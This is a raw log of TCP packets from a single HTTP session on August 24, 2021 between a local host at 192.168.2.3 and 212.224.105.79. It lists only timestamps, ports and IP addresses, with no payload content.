Aug 24, 2021 14:01:35.696058035 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696074963 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696084023 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.696090937 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696106911 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696118116 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.696121931 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696137905 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696154118 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.696158886 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696178913 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.696182013 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696202040 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.696204901 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696222067 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696237087 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696239948 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.696253061 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696268082 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696281910 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.696283102 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696299076 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696309090 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.696314096 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696332932 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696338892 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.696348906 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696363926 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696379900 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696394920 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696403027 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.696409941 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696427107 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696441889 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696450949 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.696460962 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696477890 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696481943 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.696492910 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696506023 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.696508884 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696527004 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696542978 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696552038 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.696559906 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696588039 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696594000 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.696605921 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696618080 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.696620941 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696640968 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696656942 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696666002 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.696672916 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696688890 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696703911 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696706057 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.696718931 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696734905 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696738005 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.696751118 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696768999 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696785927 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696790934 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.696800947 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696816921 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696830988 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.696832895 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696847916 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696858883 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.696863890 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696880102 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696888924 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.696898937 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.696918011 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.696944952 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.705058098 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.705085993 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.705101967 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.705121994 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.705137968 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.705153942 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.705209970 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.705214977 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.705225945 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.705240965 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.705260038 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.705281973 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.705336094 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.709408998 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.709434032 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.709449053 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.709464073 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.709517956 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.709532976 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.709542036 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.709548950 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.709564924 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.709582090 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.709603071 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.709609032 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.709619045 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.709676981 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.714975119 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.714998960 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.715012074 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.715028048 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.715044022 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.715059042 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.715146065 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.715192080 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.715282917 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.715347052 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.715363979 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.715379000 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.715413094 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.715414047 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.715424061 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.715477943 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.715497017 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.715512991 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.715524912 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.715537071 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.715547085 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.715554953 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.715600967 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.715858936 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.715878963 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.715894938 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.715924978 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.715929031 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.715965986 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.715996027 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.716017008 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.716032028 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.716048002 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.716057062 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.716063976 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.716069937 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.716083050 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.716113091 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.716114044 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.716176033 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.716244936 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.716265917 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.716284037 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.716299057 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.716315031 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.716341019 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.716372967 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.716389894 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.716406107 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.716434002 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.716449976 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.716455936 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.716495037 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.716502905 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.716511011 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.716543913 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.716561079 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.716629982 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.716821909 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.716840029 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.716882944 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.716892004 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.716948986 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.716965914 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.716980934 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.716996908 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.717005014 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.717012882 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.717022896 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.717066050 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.717083931 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.717107058 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.717123985 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.717139006 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.717154980 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.717168093 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.717205048 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.717211962 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.717262030 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.718749046 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.718780994 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.718801022 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.718817949 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.718862057 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.718874931 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.718878031 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.718894958 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.718939066 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.718941927 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.718956947 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719002008 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.719058037 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719075918 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719108105 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.719136000 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719152927 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719180107 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719196081 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719196081 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.719213963 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719218969 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.719230890 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719245911 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719264030 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719269991 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.719289064 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.719310999 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719360113 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.719383001 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719400883 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719415903 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719432116 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719446898 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719449043 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.719477892 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.719511986 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719528913 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719543934 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719553947 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.719573021 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719578981 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.719589949 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719604015 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719620943 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719635963 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719649076 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.719650984 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719667912 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719690084 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.719698906 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719716072 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719731092 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719748020 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719763994 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719764948 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.719773054 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.719780922 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719796896 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719827890 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.719839096 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719842911 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.719855070 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719888926 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719903946 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719916105 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719927073 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.719928026 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719954967 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719957113 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.719970942 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.719990969 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.720026016 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.720035076 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.720051050 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.720077038 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.720119953 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.720150948 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.720166922 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.720182896 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.720201015 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.720211029 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.720218897 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.720233917 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.720271111 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.720338106 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.728107929 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.728136063 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.728147984 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.728159904 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.728178978 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.728193998 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.728209972 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.728225946 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.728240967 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.728256941 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.728307962 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.731403112 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.731426001 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.731441021 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.731475115 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.731523037 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.731534958 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.731539011 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.731554985 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.731570005 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.731580019 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.731626987 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.731784105 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.731800079 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.731879950 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.736985922 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.737015009 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.737030029 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.737046003 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.737063885 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.737078905 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.737095118 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.737106085 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.737118959 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.737129927 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.737133980 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.737153053 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.737169027 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.737185001 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.737200022 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.737215996 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.737230062 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.737242937 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.737270117 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.737286091 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.737286091 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.737356901 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.738627911 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.738651037 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.738753080 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.772605896 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.796011925 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796036959 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796056032 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796073914 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796088934 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796104908 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796120882 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796135902 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796152115 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796160936 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.796168089 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796186924 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796205044 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.796211004 CEST	49723	80	192.168.2.3	212.224.105.79
